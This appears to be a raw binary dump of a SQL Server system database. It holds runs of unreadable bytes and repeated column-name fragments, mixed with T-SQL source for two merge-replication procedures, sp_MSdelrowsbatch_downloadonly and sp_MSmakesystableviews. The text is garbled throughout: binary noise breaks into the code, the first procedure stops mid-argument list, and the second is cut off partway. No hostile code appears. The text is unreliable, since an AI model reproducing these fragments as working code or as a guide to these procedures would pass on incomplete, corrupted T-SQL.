		S		fu 5HWj{4I`-b)TiJ0-C7Q@lineage_old270-C7Q@lineage_new270-C$$I@rowguid280-C00U@metadata_type280-CO@generation280-C7Q@lineage_old280-C7Q@lineage_new280-C$$I@rowguid290-C00U@metadata_type290-CO@generation290-C7Q@lineage_old290-C7Q@lineage_new290-C$$I@rowguid300-C00U@metadata_type300-CO@generation300-C7Q@lineage_old300-C7Q@lineage_new300-C$$I@rowguid310-C00U@metadata_type310-CO@generation310-C7Q@lineage_old310-C7Q@lineage_new310-C$$I@rowguid320-C00U@metadata_type320-CO@generation320-C7Q@lineage_old320-C7Q@lineage_new320-C$$I@rowguid330-C00U@metadata_type330-CO@generation330-C7Q@lineage_old330-C7Q@lineage_new330-C$$I@rowguid340-C00U@metadata_type340-CO@generation340-C7Q@lineage_old340-C7Q@lineage_new340-C$$I@rowguid350-C00U@metadata_type350-CO@generation350-C7Q@lineage_old350-C7Q@lineage_new350-C$$I@rowguid360-C00U@metadata_type360-CO@generation360-C7Q@lineage_old360-C7Q@lineage_new360-C$$I@rowguid370-C00U@metadata_type370-CO@generation370-C7Q@lineage_old370-C7Q@lineage_new370-C$$I@rowguid380-C00U@metadata_type380-CO@generation380-C7Q@lineage_old380-C7Q@lineage_new380-C$$I@rowguid390-C00U@metadata_type390-CO@generation390-C7Q@lineage_old390-C7Q@lineage_new390-C$$I@rowguid400-C00U@metadata_type400-CO@generation400-C7Q@lineage_old400-C7Q@lineage_new400-C$$I@rowguid410-C00U@metadata_type410-CO@generation410-C7Q@lineage_old410-C7Q@lineage_new410-C$$I@rowguid420-C00U@metadata_type420-CO@generation420-C7Q@lineage_old420-C7Q@lineage_new420-C$$I@rowguid430-C00U@metadata_type430-CO@generation430-C7Q@lineage_old430-C7Q@lineage_new430-C$$I@rowguid440-C00U@metadata_type440-CO@generation440-C7Q@lineage_old440-C7Q@lineage_new440-C$$I@rowguid450-C00U@metadata_type450-CO@generation450-C7Q@lineage_old450-C7Q@lineage_new450-C$$I@rowguid460-C00U@metadata_type460-CO@generation460-C7Q@lineage_old460-C7Q@lineage_new460-C$$I@rowguid47!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!NYn0;Pcr2ETep'6GR	g
z
)
4I

\

	k		|+>M^
i ~/@K`-b)JQb
-0-C00U@metadata_type470-CO@generation470-C7Q@lineage_old470-C7Q@lineage_new470-C$$I@rowguid480-C00U@metadata_type480-CO@generation480-C7Q@lineage_old480-C7Q@lineage_new480-C$$I@rowguid490-C00U@metadata_type490-CO@generation490-C7Q@lineage_old490-C7Q@lineage_new490-C$$I@rowguid500-C00U@metadata_type500-CO@generation500-C7Q@lineage_old500-C7Q@lineage_new500-C$$I@rowguid510-C00U@metadata_type510-CO@generation510-C7Q@lineage_old510-C7Q@lineage_new510-C$$I@rowguid520-C00U@metadata_type520-CO@generation520-C7Q@lineage_old520-C	7Q@lineage_new520-C
$$I@rowguid530-C00U@metadata_type530-CO@generation530-C
7Q@lineage_old530-C7Q@lineage_new530-C$$I@rowguid540-C00U@metadata_type540-CO@generation540-C7Q@lineage_old540-C7Q@lineage_new540-C$$I@rowguid550-C00U@metadata_type550-CO@generation550-C7Q@lineage_old550-C7Q@lineage_new550-C$$I@rowguid560-C00U@metadata_type560-CO@generation560-C7Q@lineage_old560-C7Q@lineage_new560-C$$I@rowguid570-C00U@metadata_type570-C O@generation570-C!7Q@lineage_old570-C"7Q@lineage_new570-C#$$I@rowguid580-C$00U@metadata_type580-C%O@generation580-C&7Q@lineage_old580-C'7Q@lineage_new580-C($$I@rowguid590-C)00U@metadata_type590-C*O@generation590-C+7Q@lineage_old590-C,7Q@lineage_new590-C-$$I@rowguid600-C.00U@metadata_type600-C/O@generation600-C07Q@lineage_old600-C17Q@lineage_new600-C2$$I@rowguid610-C300U@metadata_type610-C4O@generation610-C57Q@lineage_old610-C67Q@lineage_new610-C7$$I@rowguid620-C800U@metadata_type620-C9O@generation620-C:7Q@lineage_old620-C;7Q@lineage_new620-C<$$I@rowguid630-C=00U@metadata_type630-C>O@generation630-C?7Q@lineage_old630-C@7Q@lineage_new630-CA$$I@rowguid640-CB00U@metadata_type640-CCO@generation640-CD7Q@lineage_old640-CE7Q@lineage_new640-CF$$I@rowguid650-CG00U@metadata_type650-CHO@generation650-CI7Q@lineage_old650-CJ7Q@lineage_new650-CK$$I@rowguid660-CL00U@metadata_type660-CMO@generation660-CN7Q@lineage_old66!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Rcn%4EPex'2GZ	iz)<K\g
|
-
>I
^

	q	 	+@Sb
s"~5DU`-b)P[׃;0-CO7Q@lineage_new660-CP$$I@rowguid670-CQ00U@metadata_type670-CRO@generation670-CS7Q@lineage_old670-CT7Q@lineage_new670-CU$$I@rowguid680-CV00U@metadata_type680-CWO@generation680-CX7Q@lineage_old680-CY7Q@lineage_new680-CZ$$I@rowguid690-C[00U@metadata_type690-C\O@generation690-C]7Q@lineage_old690-C^7Q@lineage_new690-C_$$I@rowguid700-C`00U@metadata_type700-CaO@generation700-Cb7Q@lineage_old700-Cc7Q@lineage_new700-Cd$$I@rowguid710-Ce00U@metadata_type710-CfO@generation710-Cg7Q@lineage_old710-Ch7Q@lineage_new710-Ci$$I@rowguid720-Cj00U@metadata_type720-CkO@generation720-Cl7Q@lineage_old720-Cm7Q@lineage_new720-Cn$$I@rowguid730-Co00U@metadata_type730-CpO@generation730-Cq7Q@lineage_old730-Cr7Q@lineage_new730-Cs$$I@rowguid740-Ct00U@metadata_type740-CuO@generation740-Cv7Q@lineage_old740-Cw7Q@lineage_new740-Cx$$I@rowguid750-Cy00U@metadata_type750-CzO@generation750-C{7Q@lineage_old750-C|7Q@lineage_new750-C}$$I@rowguid760-C~00U@metadata_type760-CO@generation760-C7Q@lineage_old760-C7Q@lineage_new760-C$$I@rowguid770-C00U@metadata_type770-CO@generation770-C7Q@lineage_old770-C7Q@lineage_new770-C$$I@rowguid780-C00U@metadata_type780-CO@generation780-C7Q@lineage_old780-C7Q@lineage_new780-C$$I@rowguid790-C00U@metadata_type790-CO@generation790-C7Q@lineage_old790-C7Q@lineage_new790-C$$I@rowguid800-C00U@metadata_type800-CO@generation800-C7Q@lineage_old800-C7Q@lineage_new800-C$$I@rowguid810-C00U@metadata_type810-CO@generation810-C7Q@lineage_old810-C7Q@lineage_new810-C$$I@rowguid820-C00U@metadata_type820-CO@generation820-C7Q@lineage_old820-C7Q@lineage_new820-C$$I@rowguid830-C00U@metadata_type830-CO@generation830-C7Q@lineage_old830-C7Q@lineage_new830-C$$I@rowguid840-C00U@metadata_type840-CO@generation840-C7Q@lineage_old840-C7Q@lineage_new840-C$$I@rowguid850-C00U@metadata_type850-CO@generation850-C7Q@lineage_old850-C7Q@lineage_new850-C$$I@rowguid860-C00U@metadata_type86!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N]ny0?P[p!2=Ret4GVg
r
)
8I

T

	i		|+6K^
m~-@O`-I)A-$B0-CO@generation860-C7Q@lineage_old860-C7Q@lineage_new860-C$$I@rowguid870-C00U@metadata_type870-CO@generation870-C7Q@lineage_old870-C7Q@lineage_new870-C$$I@rowguid880-C00U@metadata_type880-CO@generation880-C7Q@lineage_old880-C7Q@lineage_new880-C$$I@rowguid890-C00U@metadata_type890-CO@generation890-C7Q@lineage_old890-C7Q@lineage_new890-C$$I@rowguid900-C00U@metadata_type900-CO@generation900-C7Q@lineage_old900-C7Q@lineage_new900-C$$I@rowguid910-C00U@metadata_type910-CO@generation910-C7Q@lineage_old910-C7Q@lineage_new910-C$$I@rowguid920-C00U@metadata_type920-CO@generation920-C7Q@lineage_old920-C7Q@lineage_new920-C$$I@rowguid930-C00U@metadata_type930-CO@generation930-C7Q@lineage_old930-C7Q@lineage_new930-C$$I@rowguid940-C00U@metadata_type940-CO@generation940-C7Q@lineage_old940-C7Q@lineage_new940-C$$I@rowguid950-C00U@metadata_type950-CO@generation950-C7Q@lineage_old950-C7Q@lineage_new950-C$$I@rowguid960-C00U@metadata_type960-CO@generation960-C7Q@lineage_old960-C7Q@lineage_new960-C$$I@rowguid970-C00U@metadata_type970-CO@generation970-C7Q@lineage_old970-C7Q@lineage_new970-C$$I@rowguid980-C00U@metadata_type980-CO@generation980-C7Q@lineage_old980-C7Q@lineage_new980-C$$I@rowguid990-C00U@metadata_type990-CO@generation990-C7Q@lineage_old990-C7Q@lineage_new990-C$$K@rowguid1000-C00W@metadata_type1000-CQ@generation1000-C7S@lineage_old1000-C7S@lineage_new100!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6CNcv%0EXg
x
'
:I

Z
	
	e		z+<G\
o~)>Q`-7)P0-vW88
I@object_id0-vWW@update_flag_list0-;d@@Irequest_id0-;d88
Istep_index0-;d88
Kpdw_node_id0-;d88
Sdistribution_id0-;d@@Astatus0-;dHHEerror_id0-;d==Istart_time0-;d==Eend_time0-;d	88
Ytotal_elapsed_time0-;d
Grow_count0-;d88
=spid0-;d@@Ccommand0-miM@publication0-3lM@publication0-3lA@login0-3lI@publisher-n@0-n@G@filename!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?d!Dq0I`>-1)C[.N\0-ZiS8$$I@rowguid520-ZiS9$$I@rowguid530-ZiS:$$I@rowguid540-ZiS;$$I@rowguid550-ZiS<$$I@rowguid560-ZiS=$$I@rowguid570-ZiS>$$I@rowguid580-ZiS?$$I@rowguid590-ZiS@$$I@rowguid600-ZiSA$$I@rowguid610-ZiSB$$I@rowguid620-ZiSC$$I@rowguid630-ZiSD$$I@rowguid640-ZiSE$$I@rowguid650-ZiSF$$I@rowguid660-ZiSG$$I@rowguid670-ZiSH$$I@rowguid680-ZiSI$$I@rowguid690-ZiSJ$$I@rowguid700-ZiSK$$I@rowguid710-ZiSL$$I@rowguid720-ZiSM$$I@rowguid730-ZiSN$$I@rowguid740-ZiSO$$I@rowguid750-ZiSP$$I@rowguid760-ZiSQ$$I@rowguid770-ZiSR$$I@rowguid780-ZiSS$$I@rowguid790-ZiST$$I@rowguid800-ZiSU$$I@rowguid810-ZiSV$$I@rowguid820-ZiSW$$I@rowguid830-ZiSX$$I@rowguid840-ZiSY$$I@rowguid850-ZiSZ$$I@rowguid860-ZiS[$$I@rowguid870-ZiS\$$I@rowguid880-ZiS]$$I@rowguid890-ZiS^$$I@rowguid900-ZiS_$$I@rowguid910-ZiS`$$I@rowguid920-ZiSa$$I@rowguid930-ZiSb$$I@rowguid940-ZiSc$$I@rowguid950-ZiSd$$I@rowguid960-ZiSe$$I@rowguid970-ZiSf$$I@rowguid980-ZiSg$$I@rowguid990-ZiSh$$K@rowguid100!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
~
5
Z6

[

		7	\8]9^:_;`<( v*
create procedure sys.sp_MSdelrowsbatch_downloadonly (
    @pubid uniqueidentifier,
    @tablenick  int,
    @check_permission int = 0,
    @rows_tobe_deleted int,
    @rowguid1 uniqueidentifier,
    @rowguid2 uniqueidentifier = NULL,
    @rowguid3 uniqueidentifier = NULL,
    @rowguid4 uniqueidentifier = NULL,
    @rowguid5 uniqueidentifier = NULL,
    @rowguid6 uniqueidentifier = NULL,
    @rowguid7 uniqueidentifier = NULL,
    @rowguid8 uniqueidentifier = NULL,
    @rowguid9 uniqueidentifier = NULL,
    @rowguid10 uniqueidentifier = NULL,
    @rowguid11 uniqueidentifier = NULL,
    @rowguid12 uniqueidentifier = NULL,
    @rowguid13 uniqueidentifier = NULL,
    @rowguid14 uniqueidentifier = NULL,
    @rowguid15 uniqueidentifier = NULL,
    @rowguid16 uniqueidentifier = NULL,
    @rowguid17 uniqueidentifier = NULL,
    @rowguid18 uniqueidentifier = NULL,
    @rowguid19 uniqueidentifier = NULL,
    @rowguid20 uniqueidentifier = NULL,
    @rowguid21 uniqueidentifier = NULL,
    @rowguid22 uniqueidentifier = NULL,
    @rowguid23 uniqueidentifier = NULL,
    @rowguid24 uniqueidentifier = NULL,
    @rowguid25 uniqueidentifier = NULL,
    @rowguid26 uniqueidentifier = NULL,
    @rowguid27 uniqueidentifier = NULL,
    @rowguid28 uniqueidentifier = NULL,
    @rowguid29 uniqueidentifier = NULL,
    @rowguid30 uniqueidentifier = NULL,
    @rowguid31 uniqueidentifier = NULL,
    @rowguid32 uniqueidentifier = NULL,
    @rowguid33 uniqueidentifier = NULL,
    @rowguid34 uniqueidentifier = NULL,
    @rowguid35 uniqueidentifier = NULL,
    @rowguid36 uniqueidentifier = NULL,
    @rowguid37 uniqueidentifier = NULL,
    @rowguid38 uniqueidentifier = NULL,
    @rowguid39 uniqueidentifier = NULL,
    @rowguid40 uniqueidentifier = NULL,
    @rowguid41 uniqueidentifier = NULL,
    @rowguid42 uniqueidentifier = NULL,
    @rowguid43 uniqueidentifier = NULL,
    @rowguid44 uniqueidentifier = NULL,
    @rowguid45 uniqueidentifier = NULL,
    @rowguid46 uniqueidentifier = NULL,
    @rowguid47 uniqueidentifier = NULL,
    @rowguid48 uniqueidentifier = NULL,
    @rowguid49 uniqueidentifier = NULL,
    @rowguid50 uniqueidentifier = NULL,
    @rowguid51 uniqueidentifier = NULL,
    @rowguid52 uniqueidentifier = NULL,
    @rowguid53 uniqueidentifier = NULL,
    @rowguid54 uniqueidentifier = NULL,
    @rowguid55 uniqueidentifier = NULL,
    @rowguid56 uniqueidentifier = NULL,
    @rowguid57 uniqueidentifier = NULL,
    @rowguid58 uniqueidentifier = NULL,
    @rowguid59 uniqueidentifier = NULL,
    @rowguid60 uniqueidentifier = NULL,
    @rowguid61 uniqueidentifier = NULL,
    @rowguid62 uniqueidentifier = NULL,
    @rowguid63 uniqueidentifier = NULL,
    @rowguid64 uniqueidentifier = NULL,
    @rowguid65 uniqueidentifier = NULL,
    @rowguid66 uniqueidentifier = NULL,
    @rowguid67 uniqueidentifier = NULL,
    @rowguid68 uniqueidentifier = NULL,
    @rowguid69 uniqueidentifier = NULL,
    @rowguid70 uniqueidentifier = NULL,
    @rowguid71 uniqueidentifier = NULL,
    @rowguid72 uniqueidentifier = NULL,
    @rowguid73 uniqueidentifier = NULL,
    @rowguid74 uniqueidentifier = NULL,
    @rowguid75 uniqueidentifier = NULL,
    @rowguid76 uniqueidentifier = NULL,
    @rowguid77 uniqueidentifier = NULL,
    @rowguid78 uniqueidentifier = NULL,
    @rowguid79 uniqueidentifier = NULL,
    @rowguid80 uniqueidentifier = NULL,
    @rowguid81 uniqueidentifier = NULL,
    @rowguid82 uniqueidentifier = NULL,
    @rowguid83 uniqueidentifier = NULL,
    @rowguid84 uniqueidentifier = NULL,
    @rowguid85 uniqueidentifier = NULL,
    @rowguid86 uniqueidentifier = NULL,
    @rowguid87 uniqueidentifier = NULL,
    @rowguid88 uniqueidentifier = NULL,
    @rowguid89 uniqueidentifier = NULL,
    @rowguid90 uniqueidentifier = NULL,
    @rowguid91 uniqueidentifier = NULL,
    @rowguid92 uniqueidentifier = NULL,
    @rowguid93 uniqueidentifier = NULL,
    @rowguid94 uniqueidentifier = NULL,
    @rowguid95 uniqueidentifier = NULL,
    @rowguid96 uniqueidentifier = NULL,
    @rowguid97 uniqueidentifier = NULL,
    @rowguid98 uniqueidentifier = NULL,
    @rowguid99 uniqueidentifier = NULL,
    @rowguid100 uniqueidentifier = NULL
)
as
    set nocount on
    declare @procname       nvarchar(270)
    declare @retcode int

    -- NOTE: this stored procedure returns 0 to indicate failure

    -- security check
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)

    if @check_permission =1
    begin
        declare @objid int
        declare @permissions int
        
        select @objid=objid, @permissions=check_permissions from dbo.sysmergearticles 
            where nickname=@tablenick and (pubid is NULL or pubid=@pubid)
        if @objid is NULL
            return (0)

        exec @retcode = sys.sp_MSreplcheck_permission @objid = @objid, @type = 3, @permissions = @permissions
        if @retcode<>0 or @@ERROR<>0 
            return (4)
    end
    
    select @procname= 'dbo.' + delete_proc from dbo.sysmergearticles where nickname = @tablenick and pubid=@pubid

    select @retcode = 1
    exec @retcode = @procname
                        @rows_tobe_deleted,
                        null,
                        @rowguid1,
                        @rowguid2,
                        @rowguid3,
                        @rowguid4,
                        @rowguid5,
                        @rowguid6,
                        @rowguid7,
                        @rowguid8,
                        @rowguid9,
                        @rowguid10,
                        @rowguid11,
                        @rowguid12,
                        @rowguid13,
                        @rowguid14,
                        @rowguid15,
                        @rowguid16,
                        @rowguid17,
                        @rowguid18,
                        @rowguid19,
                        @rowguid20,
                        @rowguid21,
                        @rowguid22,
                        @rowguid23,
                        @rowguid24,
                        @rowguid25,
                        @rowguid26,
                        @rowguid27,
                        @rowguid28,
                        @rowguid29,
                        @rowguid30,
                        @rowguid31,
                        @rowguid32,
                        @rowguid33,
                        @rowguid34,
                        @rowguid35,
                        @rowguid36,
                        @rowguid37,
                        @rowguid38,
                        @rowguid39,
                        @rowguid40,
                        @rowguid41,
                        @rowguid42,
                        @rowguid43,
                        @rowguid44,
                        @rowguid45,
                        @rowguid46,
                        @rowguid47,
                        @rowguid48,
                        @rowguid49,
                        @rowguid50,
                        @rowguid51,
                        @rowguid52,
                        @rowguid53,
                        @rowguid54,
                        @rowguid55,
                        @rowguid56,
                        @rowguid57,
                        @rowguid58,
                        @rowguid59,
                        @rowguid60,
                        @rowguid61,
                        @rowguid62,
                        @rowguid63,
                        @rowguid64,
                        @rowguid65,
                        @rowguid66,
                        @rowguid67,
                        @rowguid68,
                        @rowguid69,
                        @rowguid70,
                        @rowguid71,
                        @rowguid72,
                        @rowguid73,
                        @rowguid74,
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(!EpvI-- Used by snapshot
create procedure sys.sp_MSmakesystableviews (
    @publication sysname,
    @dynamic_snapshot_views_table_name sysname = null,
    @create_dynamic_views bit = 0,
    @max_bcp_gen bigint
    )
AS
    declare @guidstr        nvarchar(40)
    declare @pubid          uniqueidentifier
    declare @contentsview_80    sysname 
    declare @tombstoneview  sysname
    declare @genhistoryview_80  sysname
    declare @filtersview_80    sysname
    declare @filtersview_90    sysname
    declare @contentsview_90    sysname
    declare @contentsview_90_forall    sysname
    declare @contentsview_90_forglobal    sysname
    declare @rowtrackview    sysname
    declare @genhistoryview_90  sysname 
    declare @retcode smallint
    declare @dbname         sysname
    declare @command        nvarchar(4000)
    declare @dynamic_filters bit
    declare @view_creation_command nvarchar(4000)
    declare @newid  uniqueidentifier
    declare @dynsnap_views bit
    declare @compatlevel int
    declare @need_ctsview_rowtrack bit
    declare @need_ctsview_forglobal bit

    /*
    ** Check to see if current publication has permission
    */
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)

    if (@dynamic_snapshot_views_table_name is not null and @dynamic_snapshot_views_table_name <> N'')
        select @dynsnap_views = 1
    else
        select @dynsnap_views = 0

    select @pubid = pubid, @dynamic_filters = dynamic_filters, 
           @compatlevel = backward_comp_level
       from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is null
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END
    
    set @need_ctsview_rowtrack= sys.fn_MSmerge_mightneedrowtrackbcp(@pubid)
    set @need_ctsview_forglobal= sys.fn_MSmerge_hasdownloadonlyarticles(@pubid)

    -- check if there are any generations higher than what 80 can understand
    -- if so return and not do any snapshot
    if @compatlevel < 90
    begin
        declare @maxgen_80 int
        set @maxgen_80= 2147483647
        if exists (select generation from dbo.MSmerge_genhistory where generation > @maxgen_80)
        begin
            raiserror(21521,16,1,@maxgen_80)
            return(1)
        end
    end

    create table #temp_table_for_systable_view
    (
        id int identity(1,1),
        contentsview sysname NULL, 
        tombstoneview sysname NULL, 
        genhistoryview sysname NULL, 
        filtersview sysname NULL, 
        contentsview_90_forall sysname NULL, 
        contentsview_90_forglobal sysname NULL, 
        genhistoryview_90 sysname NULL, 
        filtersview_90 sysname NULL,
        contentsview_90 sysname NULL,
        rowtrackview sysname NULL
    )

    -- use pubid to generate the view names only if we are not generating
    -- dynamic snapshot views
    if @dynsnap_views = 1 or @create_dynamic_views = 1
        set @newid = newid()
    else
        set @newid = @pubid
        
    exec @retcode = sys.sp_MSguidtostr @newid, @guidstr out
    if @@ERROR<>0 OR @retcode<>0 return (1)

    select @contentsview_80 = 'MSmerge_cont' + @guidstr
    select @contentsview_90 = 'MSmerge_cont' + @guidstr + '_90'
    select @contentsview_90_forall = 'MSmerge_cont' + @guidstr + '_90_forall'
    select @contentsview_90_forglobal = 'MSmerge_cont' + @guidstr + '_90_forglobal'
    select @tombstoneview = 'MSmerge_ts' + @guidstr
    select @genhistoryview_80 = 'MSmerge_gh' + @guidstr
    select @genhistoryview_90 = 'MSmerge_gh' + @guidstr + '_90'
    select @filtersview_80 = 'MSmerge_filt' + @guidstr
    select @filtersview_90 = 'MSmerge_filt' + @guidstr + '_90'
    select @rowtrackview = 'MSmerge_cont' + @guidstr + '_rowtrack'

    insert #temp_table_for_systable_view 
    (
    contentsview,
    tombstoneview, 
    genhistoryview, 
    filtersview, 
    contentsview_90_forall, 
    contentsview_90_forglobal, 
    genhistoryview_90, 
    filtersview_90,
    contentsview_90,
    rowtrackview
    )
    values
    (
        @contentsview_80,
        @tombstoneview,
        @genhistoryview_80,
        @filtersview_80,
        @contentsview_90_forall,
        @contentsview_90_forglobal,
        @genhistoryview_90,
        @filtersview_90,
        @contentsview_90,
        @rowtrackview
    )

CreateViews:
    -- if we generating a regular snapshot we need to drop the views if they exist
    if @dynsnap_views = 0 and @create_dynamic_views = 0
    begin
        exec @retcode = sys.sp_MSdropsystableviews @pubid
        if @@ERROR<>0 OR @retcode<>0 return (1)
    end

    set @guidstr = '''' + convert(nchar(36), @pubid) + ''''

    /* generate view for MSmerge_contents qualified by the pubid */
    /* For dynamically filtered publication, security check is performed in
       the sync view of the base table */
    -- only generate the views if there are rows in the MSmerge_contents table
    if exists (select * from MSmerge_contents)
    begin
        set @command = 'sys.sp_MSmakectsview ' + QUOTENAME(@publication) + ' , ' + quotename(@contentsview_90)
                            + ' , ' + COALESCE(quotename(@dynamic_snapshot_views_table_name) collate database_default, N'null' collate database_default)
                            + ' , ' + convert(nvarchar, @dynsnap_views) + ' , ' + convert(nvarchar,@max_bcp_gen)
        set @dbname = db_name()

        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 OR @retcode <>0 return (1)
    end
    else
    begin
        set @command = 'create view dbo.' + quotename(@contentsview_90) + ' as select * from MSmerge_contents where 1 = 2'
		exec(@command)
                if @@ERROR<>0
                        return (1)
    end
    exec @retcode = sys.sp_MS_marksystemobject  @contentsview_90 
    if @@ERROR<>0 or @retcode<>0  return (1)


    -- Create the view on MSmerge_contents that contains rows which are updateable at every subscriber.
    select @view_creation_command = 'create view dbo.' + quotename(@contentsview_90_forall) + ' as 
    select * from ' + quotename(@contentsview_90) + '
        where tablenick in (select nickname from dbo.sysmergearticles where upload_options <> 1 and upload_options <> 2)  
            and generation <= ' + convert(nvarchar, @max_bcp_gen)

    exec (@view_creation_command)
    if @@ERROR <>0 return (1)
    exec @retcode = sys.sp_MS_marksystemobject  @contentsview_90_forall 
    if @@ERROR<>0 or @retcode<>0  return (1)

    if 1=@need_ctsview_forglobal
    begin
        -- Create the view on MSmerge_contents that contains rows which are only updateable at global subscribers.
        select @view_creation_command = 'create view dbo.' + quotename(@contentsview_90_forglobal) + ' as 
        select * from ' + quotename(@contentsview_90) + '
            where tablenick in (select nickname from dbo.sysmergearticles where upload_options = 1 or upload_options = 2)
            and generation <= ' + convert(nvarchar, @max_bcp_gen)
        
        exec (@view_creation_command)
        if @@ERROR <>0 return (1)
        exec @retcode = sys.sp_MS_marksystemobject  @contentsview_90_forglobal 
        if @@ERROR<>0 or @retcode<>0  return (1)
    end

    /* Create the view on MSmerge_contents that has the same format as the SQL2000 MSmerge_contents */
    /*  dont convert. let mdac do all the conversion. we anyway raise an error above incase the generation greater than max_int
    select @view_creation_command = 'create view dbo.' + @contentsview_80 + ' as 
    select tablenick, rowguid, 
    generation = case when abs(generation) > 2147483647 then 0 else convert(int, generation) end, 
    partchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen <!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("E׼vI 0 then NULL else partchangegen end) end, 
    joinchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then (-partchangegen) else partchangegen end) end, 
    lineage = {fn LINEAGE_90_TO_80(lineage)}, 
    colv1 = case 
        when colv1 is null or sys.fn_fIsColTracked(tablenick) = 0 then colv1 
        else {fn COLV_90_TO_80(colv1, sys.fn_cColvEntries_80(''' + cast(@pubid as nvarchar(36)) + ''', tablenick))} end
    from ' + @contentsview_90
    */

    select @view_creation_command = 'create view dbo.' + quotename(@contentsview_80) + ' as 
    select tablenick, rowguid, generation = isnull(convert(int, generation),0), 
    partchangegen = case when partchangegen < 0 then NULL else convert(int, partchangegen) end, 
    joinchangegen = case when partchangegen < 0 then convert(int, (-partchangegen)) else convert(int, partchangegen) end, 
    lineage = {fn LINEAGE_90_TO_80(lineage)}, 
    colv1 = case 
        when colv1 is null or sys.fn_fIsColTracked(tablenick) = 0 then colv1 
        else {fn COLV_90_TO_80(colv1, sys.fn_cColvEntries_80(''' + cast(@pubid as nvarchar(36)) + ''', tablenick))} end
    from ' + quotename(@contentsview_90)

    exec (@view_creation_command)
    if @@ERROR <>0 return (1)
    exec @retcode = sys.sp_MS_marksystemobject  @contentsview_80 
    if @@ERROR<>0 or @retcode<>0  return (1)

    /* 
    ** generate the view for dbo.MSmerge_tombstone. In SP2 and Shiloh, the change was made to make the view 
    ** return 0 rows since it is unnecessary and expensive to propagate the tombstones.
    ** In order to leave all the other moving parts unchanged, we decided to let the view 
    ** return 0 rows.
    */

